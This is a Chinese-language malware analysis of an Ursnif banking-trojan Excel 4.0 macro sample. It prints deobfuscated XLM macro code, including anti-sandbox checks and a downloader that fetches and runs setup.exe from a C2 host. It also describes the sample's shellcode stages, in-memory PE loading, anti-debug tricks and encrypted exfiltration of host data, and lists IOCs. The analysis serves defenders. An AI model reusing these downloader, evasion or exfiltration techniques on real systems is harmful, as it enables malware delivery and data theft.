Ursnif组织EXCEL4.0样本分析
前言
Ursnif是一种银行木马,是Gozi恶意软件的变体,主要与数据盗窃有关
基本信息
样本为EXCEL4.0宏样本。 VBA是在Excel 5.0版中引入的,Excel 4.0宏(XLM)功能是在1992年的Excel版本4.0中引入的。因此这些较旧的XLM宏也称为Excel 4宏。 要使用Excel 4.0宏,不需要任何编程。 可以像功能一样使用它们 。 如果将它们与已定义的名称结合使用,可以实现非常有用的功能。而不怀好意的人正是利用这点来编写恶意的EXCEL4.0宏代码。而且这种方式产生的效果也让人意想不到,因为部分杀软并未对宏4.0进行良好的监控。
FileName |
MD5 |
FileSize |
Abusech_ursnif.xls |
0DD976DE7791A9839F9BC1EF3B9AD2E9 |
202240 bytes |
流程图
excel样本执行宏代码从远程服务器下载恶意程序并执行
详细分析
使用olevba.py工具提取宏代码,存在大量隐藏sheet页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ' 0085 10 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - zv ' 0085 17 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - OwTDOUQbs ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet3 ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet4 ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet5 ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet6 ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet7 ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet8 ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet9 ' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet10 ' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet11 ' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet12 ' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet13 ' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet14 ' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet15 ' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet16 ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet1
|
olevba
分析结果给出宏代码信息
1 2 3 4 5 6 7 8 9 10 11 12 13
| +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |AutoExec |Auto_Open |Runs when the Excel Workbook is opened | |Suspicious|Windows |May enumerate application windows (if | | | |combined with Shell.Application object) | |Suspicious|Hex Strings |Hex-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | +----------+--------------------+---------------------------------------------+
|
存在Auto_Open
函数就好办了,使用Cerbero Suite对文档进行分析,可以看到函数入口在BC列906行
对宏代码进行分析,首先是一系列反分析手段
1 2 3 4 5 6 7 8 9 10
| APP.MAXIMIZE() IF(GET.WINDOW(7),$HN$8144(),) IF(GET.WINDOW(20),,$HN$8144()) IF(GET.WINDOW(23)<3,$HN$8144(),) IF(GET.WORKSPACE(31),$HN$8144(),) IF(GET.WORKSPACE(13)<770,$HN$8144(),) IF(GET.WORKSPACE(14)<380,$HN$8144(),) IF(GET.WORKSPACE(19),,$HN$8144()) IF(GET.WORKSPACE(42),,$HN$8144()) IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,$HN$8144())
|
随后是一系列循环解密字符串
第一段循环解密字符串http[:]//link.rolandchase.com/setup.exe
1 2 3 4 5 6 7 8 9 10 11
| $BJ$9452:SET.NAME("sIdeoxs","") $BJ$9453:SET.NAME("KZsNfaPvE",HA$22625) $BJ$9454:SET.NAME("FDIsm",$U$42807) $BJ$9455:IF(FDIsm<>"hEciep") $BJ$9456:SET.NAME("kFulzKssfStQ",FDIsm) $BJ$9457:SET.NAME("sIdeoxs",sIdeoxs&KZsNfaPvE()) $BJ$9458:SET.NAME("cqYpbfFtqkDz",FDIsm) $BJ$9459:SET.NAME("FDIsm",TEXTREF($HP$40210(),FALSE)) $BJ$9460:$BJ$9455() $BJ$9461:END.IF() $BJ$9462:$BF$31421()
|
第二段循环解密字符串upeypgt.exe
1 2 3 4 5 6 7 8 9 10 11
| $BF$31421:SET.NAME("kJYRBilGi","") $BF$31422:SET.NAME("mBLgtgTuR",$HA$22625) $BF$31423:SET.NAME("PrZqcgG",$HD$14373) $BF$31424:IF(PrZqcgG<>"fKWWmps")fKWWmps是结束标志 $BF$31425:SET.NAME("kFulzKssfStQ",PrZqcgG) $BF$31426:SET.NAME("kJYRBilGi",kJYRBilGi&mBLgtgTuR()) $BF$31427:SET.NAME("cqYpbfFtqkDz",PrZqcgG) $BF$31428:SET.NAME("PrZqcgG",TEXTREF($HP$40210(),FALSE)) $BF$31429:$BF$31424() $BF$31430:END.IF() $BF$31431:$CH$19157()
|
第三段循环解密字符串upeypgt.exe
1 2 3 4 5 6 7 8 9 10 11
| $CH$19157:SET.NAME("HyuHXmIvF","") $CH$19158:SET.NAME("cXBDj",$HA$22625) $CH$19159:SET.NAME("DJRGluv",$GA$807) $CH$19160:IF(DJRGluv<>"hsmFCYu") $CH$19161:SET.NAME("kFulzKssfStQ",DJRGluv) $CH$19162:SET.NAME("HyuHXmIvF",HyuHXmIvF&cXBDj()) $CH$19163:SET.NAME("cqYpbfFtqkDz",DJRGluv) $CH$19164:SET.NAME("DJRGluv",TEXTREF($HP$40210(),FALSE)) $CH$19165:$CH$19160() $CH$19166:END.IF() $CH$19167:$HK$27313()
|
第四段循环解密字符串URLMON
1 2 3 4 5 6 7 8 9 10 11
| $CH$27313:SET.NAME("GWZcUs","") $CH$27314:SET.NAME("IBlTVpS",$HA$22625) $CH$27315:SET.NAME("XkhQdDDe",$BE$2533) $CH$27316:IF(XkhQdDDe<>"vBXelQd") $CH$27317:SET.NAME("kFulzKssfStQ",XkhQdDDe) $CH$27318:SET.NAME("GWZcUs",GWZcUs&IBlTVpS()) $CH$27319:SET.NAME("cqYpbfFtqkDz",XkhQdDDe) $CH$27320:SET.NAME("XkhQdDDe",TEXTREF($HP$40210(),FALSE)) $CH$27321:$HK$27316() $CH$27322:END.IF() $CH$27323:$BR$49089()
|
第五段循环解密字符串URLDownLoadTofileA
1 2 3 4 5 6 7 8 9 10 11
| $BR$49089:SET.NAME("qCvOwUEOU","") $BR$49090:SET.NAME("QcsIPRaxs",$HA$22625) $BR$49091:SET.NAME("WYFLem",$G$45045) $BR$49092:IF(WYFLem<>"NZCVzYqQ") $BR$49093:SET.NAME("kFulzKssfStQ",WYFLem) $BR$49094:SET.NAME("qCvOwUEOU",qCvOwUEOU&QcsIPRaxs()) $BR$49095:SET.NAME("cqYpbfFtqkDz",WYFLem) $BR$49096:SET.NAME("WYFLem",TEXTREF($HP$40210(),FALSE)) $BR$49097:$BR$49092() $BR$49098:END.IF() $BR$49099:$GG$7470()
|
第六段循环解密字符串JJCCJJ
1 2 3 4 5 6 7 8 9 10 11
| $GG$7470:SET.NAME("WxwNDFwW","") $GG$7471:SET.NAME("ydbKxT",$HA$22625) $GG$7472:SET.NAME("JzOYHHt",$GN$47925) $GG$7473:IF(JzOYHHt<>"cIDECHryG") $GG$7474:SET.NAME("kFulzKssfStQ",JzOYHHt) $GG$7475:SET.NAME("WxwNDFwW",WxwNDFwW&ydbKxT()) $GG$7476:SET.NAME("cqYpbfFtqkDz",JzOYHHt) $GG$7477:SET.NAME("JzOYHHt",TEXTREF($HP$40210(),FALSE)) $GG$7478:$GG$7473() $GG$7479:END.IF() $GG$7480:$EI$6224()
|
后续还有十八次同样的操作,目的显然为了反分析和进行免杀,这里不再进行赘述
循环 |
变量 |
第七段 |
Shell32 |
第八段 |
ShellExecuteA |
第九段 |
JJCCCCJ |
第十段 |
Open |
第十一段 |
regsvr32.exe |
第十二段 |
rundll32.exe |
第十三段 |
C:\EnmaMnK |
第十四段 |
C:\EnmaMnK\WkSjVZz |
第十五段 |
Kernel32 |
第十六段 |
CreateDirectoryA |
第十七段 |
JCJ |
第十八段 |
INSENG |
第十九段 |
DownloadFile |
第二十段 |
BCCJ |
第二十一段 |
fCBdLcOS |
第二十二段 |
wUahMZYo |
第二十三段 |
hbtTtFyR |
第二十四段 |
KuCJZBzQ |
随后来到代码核心逻辑(解混淆后伪代码如下),尝试使用两种不同的方式从C2下载并执行样本(绕过杀软)
1 2 3 4 5 6 7 8
| REGISTER("URLMON","URLDownloadToFileA","JJCCJJ","fCBdLcOS",,1,9) URLDownloadToFileA(0,"http[:]//link.rolandchase.com/setup.exe","upeypgt.exe",0,0) IF(Download fail) REGISTER("INSENG","DownloadFile","BCJJ","wUahMZYXo",,1,9) DownloadFile("http[:]//link.rolandchase.com/setup.exe","upeypgt.exe",1) REGISTER("Shell32","ShellExecuteA","JJCCCCJ","KuCJZBzQ",,1,9) ShellExecuteA(0,"Open","upeypgt.exe",,0,0) HALT()
|
对下载回来的exe进行分析,首先看到一大堆垃圾代码,很明显是使用类似控制流平坦方式进行混淆干扰分析,实际很多分支根本不会进入
核心代码如下,首先使用全局变量保存kernel32.dll
模块基址
申请大小为0xAAF8的堆空间,随后从.data
段拷贝被加密过的shellcode到该空间,并修改内存属性为PAGE_EXECUTE_READWRITE
接下来就是对shellcode进行解密,解密算法是经过魔改过的微型加密算法(TEA),并在算法中也加入了很多无效函数
看来样本作者在免杀这方面也是下了不少功夫
无实质意义的循环0xEA7BB次(混淆代码)
最终跳转到shellcode
代码执行
使用scdbg简单分析可知,shellcode
动态获取函数并遍历进程模块(实际上并不会这么简单)
对shellcode
进行分析,首先是自实现hash算法遍历kernel32
导出函数表(详细过程不再赘述,参考shellcode编写技术,通过FS寄存器获取模块基址,遍历导出表),动态获取``LoadLibrary以及
GetProcAddress`函数地址
随后组合使用LoadLibrary
和GetProcAddress
获取其他函数地址
获取的API名称如下
API LIST |
GlobalAlloc |
GetLastError |
Sleep |
VirtualAlloc |
CreatToolhelp32Snapshot |
Modul32First |
CloseHandle |
正如scdbg回显结果,调用了CreatToolhelp32Snapshot
函数,但是发现这并不是shellcode的真实目的
动态解密shellcode代码
调用VirtualAlloc
分配大小为0xB450的可执行内存
解密新的一段shellcode到新分配的内存并跳转执行
再次使用scdbg分析新的shellcode
,也并未发现明显异常
对新的shellcode
进行分析,首先是查找``kernel32.dll基址及
GetProcAddress`地址(与第一次shellcode不同的地方在于这里使用的kernel32基址是从第一次shellcode中取得,而获取函数地址也是直接遍历了第一次shellcode中已经获取到导出表)
获取后续要用到的函数地址
获取的API名称如下
API LIST |
LoadlibraryA |
VirtualAlloc |
VirtualProtect |
VirtualFree |
GetVersionExA |
TerminateProcess |
ExitProcess |
SetErrorMode |
清除程序的FLScallback
函数,并没有什么实质作用(分析到最后处才明白这里是为了保证程序正常退出不会引起崩溃,因为堆栈被后续代码破坏)
再次分配大小为0xA600的内存,从第二段shellcode
将内嵌的PE程序拷入新分配的内存
将upeypgt.exe
程序内存镜像起始地址0x400000内存属性修改为读写执行
将起始地址0x400000,大小0x10000,用0填充
shellcode
实现PE loader功能,将shellcode
中内嵌的PE加载到地址0x400000(类似傀儡进程)
随后释放掉为内嵌PE分配的内存
调用atexit注册好退出函数后跳转到已经展开的内存PE OEP处,当前退出回调函数并看起来是call 44444444h
,后续会修正这个地址为TerminateProcess
(这种写法的好处是不用进行堆栈修复,且不会引起程序异常崩溃)
分析内存PE,注册VEH处理函数进行反调试,触发异常后恢复执行流程
创建线程执行SleepEx,并向该线程APC队列插入回调函数
获取文件内存映像相关底层API
从内存中将抹除PE标志的DLL修复后拷贝到新申请的内存,又是一个内存PE程序
将DLL再次展开到另一块新分配的内存并执行
程序使用VEH进行反dump,首先将dll所在内存属性设置为NO_ACCESS
,然后在拷贝时触发异常,使用注册好的VEH handle处理后即可访问
使用Jun 27 2020
生成密钥
解密后续要用到的数据
获取当前运行进程权限
判断当前权限是否允许在证书中使用无效的通用名称;即应用程序指定的服务器名称与证书中的通用名称不匹配时仍可访问(也就是说,程序后续要通过HTTPS建立通信,但并不对证书进行验证)
格式化字符串Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
,这里看起来像是User-Agent
,后续会有HTTPS访问
通过WMI StdRegProv
类操作注册表,绕过杀软注册表监控
获取WMI provider的GetStringValue
方法,通过注册表项检查IE路径,随后获取并通过GetVersion
检测当前运行环境IE浏览器主版本号是否大于8
同样的手法,使用WMIprovider修改IE配置禁用IE首次打开提示
禁用IE提示设置为默认的 Web 浏览器弹窗
解密并格式化拼接字符串(字符串内容为终端相关信息配置)
“soft=3&version=250153&user=94c3ddbf476a706479841356dfae812f&server=12&id=8981&crc=1&uptime=27293”
以10291029JSJUYNHG
为密钥使用Serpent算法加密收集到的用户信息,随后使用base64进行编码
最后在完成加密的字符串前缀拼接上/images,后缀拼接上.avi并加上C2组成完整的url,然后通过com初始化IE浏览器关联的CLSID
通过IWebBrowser2
接口,IWebBrowserApp
测试并访问C2,将窃取到的信息回传到C2(在循环访问c2回传信息时,会夹杂着访问yahoo.com
,实质上为了迷惑分析人员)
由于C2功能已经失效 ,因此在这里循环访问C2时,获取不到后续功能模块,导致死循环访问C2,编写OD脚本记录轮询C2列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| // 当EIP执行到这个地址的时候C2放在EAX中 MOV dwGetC2,002F7713 // 当EIP执行到这个地址的时候已经跳出循环 MOV dwLastCall,002F690c
// 清除所有软件断点 BC // 清除所有硬件断点 BPHWCALL
// 设置硬件执行断点 BPHWS dwGetC2,"x" BPHWS dwLastCall,"x"
FIND: RUN
CASE1: CMP eip,dwGetC2 JNE CASE2 dma eax, 100, "c:\dump.bin" JMP FIND
CASE2: CMP eip,dwLastCall JNE FIND MSG "BREAK LOOP"
|
最终得到如下信息(等待了很久,未得到C2正确返回恶意模块,一直在死循环中),由于C2地址本身为正常运营的网站,出于某种原因被Ursnif控制,因此网站仍可进行正常访问,只是恶意模块已被清除
到这里,窃密的基本功能已经分析完毕,很遗憾由于C2功能失效无法再对窃密之后的后续功能模块进行分析
IOC
C2 |
http[:]//link.rolandchase.com/setup.exe |
https[:]//gstat.262productions.com |
PE |
MD5 |
upeypgt.exe |
7E7163283999B858DC83292F55BC4B5E |
shellcodes1 |
E0B1600D07B2750AE6E80892B79C2132 |
shellcodes2 |
8971D8E24654E6F0AFE624C7D6A82111 |
内存PE1 |
A2B18DBA68CC5B76D05A0B9C7B7FB496 |
内存PE2 |
4F5697A5DEA383EFE93AFC4A9066E965 |
参考
EXCEL 4语法手册:https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf
IE注册表配置:https://www.fooher.com/20170503_75.html